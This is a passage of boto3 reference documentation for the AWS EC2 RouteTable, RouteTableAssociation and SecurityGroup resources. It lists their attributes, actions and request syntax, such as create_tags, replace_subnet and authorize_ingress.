-- The ID of a NAT instance in your VPC. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- + + The ID of the carrier gateway. + + You can only use this option when the VPC contains a subnet which is associated with a Wavelength Zone. + +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Return type + +ec2.Route + +Returns + +Route resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = route_table.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified route table. You must disassociate the route table from any subnets before you can delete it. You can't delete the main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRouteTable) + +**Request Syntax** + +response = route_table.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.reload() + +Returns + +None + +[RouteTableAssociation](#id1250) +---------------------------------------------------------------------------------------- + +_class_ EC2.RouteTableAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTableAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTableAssociation.id "EC2.RouteTableAssociation.id") + +These are the resource's available attributes: + +- [association_state](#EC2.RouteTableAssociation.association_state "EC2.RouteTableAssociation.association_state") +- [gateway_id](#EC2.RouteTableAssociation.gateway_id "EC2.RouteTableAssociation.gateway_id") +- [main](#EC2.RouteTableAssociation.main "EC2.RouteTableAssociation.main") +- [route_table_association_id](#EC2.RouteTableAssociation.route_table_association_id "EC2.RouteTableAssociation.route_table_association_id") +- [route_table_id](#EC2.RouteTableAssociation.route_table_id "EC2.RouteTableAssociation.route_table_id") +- [subnet_id](#EC2.RouteTableAssociation.subnet_id "EC2.RouteTableAssociation.subnet_id") + +These are the resource's available references: + +- [route_table](#EC2.RouteTableAssociation.route_table "EC2.RouteTableAssociation.route_table") +- [subnet](#EC2.RouteTableAssociation.subnet "EC2.RouteTableAssociation.subnet") + +These are the resource's available actions: + +- [delete()](#EC2.RouteTableAssociation.delete "EC2.RouteTableAssociation.delete") +- [get_available_subresources()](#EC2.RouteTableAssociation.get_available_subresources "EC2.RouteTableAssociation.get_available_subresources") +- [replace_subnet()](#EC2.RouteTableAssociation.replace_subnet "EC2.RouteTableAssociation.replace_subnet") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTableAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_state + +- _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +gateway_id + +- _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + +main + +- _(boolean) --_ + + Indicates whether this is the main route table. + + +route_table_association_id + +- _(string) --_ + + The ID of the association. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +route_table + +(RouteTable) The related route_table if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = route_table_association.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace_subnet(kwargs_) + +Changes the route table associated with a given subnet, internet gateway, or virtual private gateway in a VPC. After the operation completes, the subnet or gateway uses the routes in the new route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can also use this operation to change which table is the main route table in the VPC. Specify the main route table's association ID and the route table ID of the new main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRouteTableAssociation) + +**Request Syntax** + +route_table_association = route_table_association.replace_subnet( + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the new route table to associate with the subnet. + + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +[SecurityGroup](#id1251) +------------------------------------------------------------------------ + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.SecurityGroup.id "EC2.SecurityGroup.id") + +These are the resource's available attributes: + +- [description](#EC2.SecurityGroup.description "EC2.SecurityGroup.description") +- [group_id](#EC2.SecurityGroup.group_id "EC2.SecurityGroup.group_id") +- [group_name](#EC2.SecurityGroup.group_name "EC2.SecurityGroup.group_name") +- [ip_permissions](#EC2.SecurityGroup.ip_permissions "EC2.SecurityGroup.ip_permissions") +- [ip_permissions_egress](#EC2.SecurityGroup.ip_permissions_egress "EC2.SecurityGroup.ip_permissions_egress") +- [owner_id](#EC2.SecurityGroup.owner_id "EC2.SecurityGroup.owner_id") +- [tags](#EC2.SecurityGroup.tags "EC2.SecurityGroup.tags") +- [vpc_id](#EC2.SecurityGroup.vpc_id "EC2.SecurityGroup.vpc_id") + +These are the resource's available actions: + +- [authorize_egress()](#EC2.SecurityGroup.authorize_egress "EC2.SecurityGroup.authorize_egress") +- [authorize_ingress()](#EC2.SecurityGroup.authorize_ingress "EC2.SecurityGroup.authorize_ingress") +- [create_tags()](#EC2.SecurityGroup.create_tags "EC2.SecurityGroup.create_tags") +- [delete()](#EC2.SecurityGroup.delete "EC2.SecurityGroup.delete") +- [get_available_subresources()](#EC2.SecurityGroup.get_available_subresources "EC2.SecurityGroup.get_available_subresources") +- [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") +- [reload()](#EC2.SecurityGroup.reload "EC2.SecurityGroup.reload") +* [revoke_egress()](#EC2.SecurityGroup.revoke_egress "EC2.SecurityGroup.revoke_egress") +* [revoke_ingress()](#EC2.SecurityGroup.revoke_ingress "EC2.SecurityGroup.revoke_ingress") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The SecurityGroup's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +description + +* _(string) --_ + + A description of the security group. + + +group_id + +* _(string) --_ + + The ID of the security group. + + +group_name + +* _(string) --_ + + The name of the security group. + + +ip_permissions + +* _(list) --_ + + The inbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +ip_permissions_egress + +* _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +owner_id + +* _(string) --_ + + The AWS account ID of the owner of the security group. + + +tags + +* _(list) --_ + + Any tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +authorize_egress(kwargs_) + +[VPC only] Adds the specified egress rules to a security group for use with a VPC. + +An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For the TCP and UDP protocols, you must also specify the destination port or port range. For the ICMP protocol, you must also specify the ICMP type and code. You can use -1 for the type or code to mean all types or all codes. + +Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Returns + +None + +authorize_ingress(kwargs_) + +Adds the specified ingress rules to a security group. + +An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For TCP and UDP, you must also specify the destination port or port range. For ICMP/ICMPv6, you must also specify the ICMP/ICMPv6 type and code. You can use -1 to mean all types or all codes. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.authorize_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- + + The IPv4 address range, in CIDR format. You can't specify this parameter when specifying a source security group. To specify an IPv6 address range, use a set of IP permissions. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **FromPort** (_integer_) -- + + The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all types. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- + + The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). To specify icmpv6 , use a set of IP permissions. + + [VPC only] Use -1 to specify all protocols. If you specify -1 or a protocol other than tcp , udp , or icmp 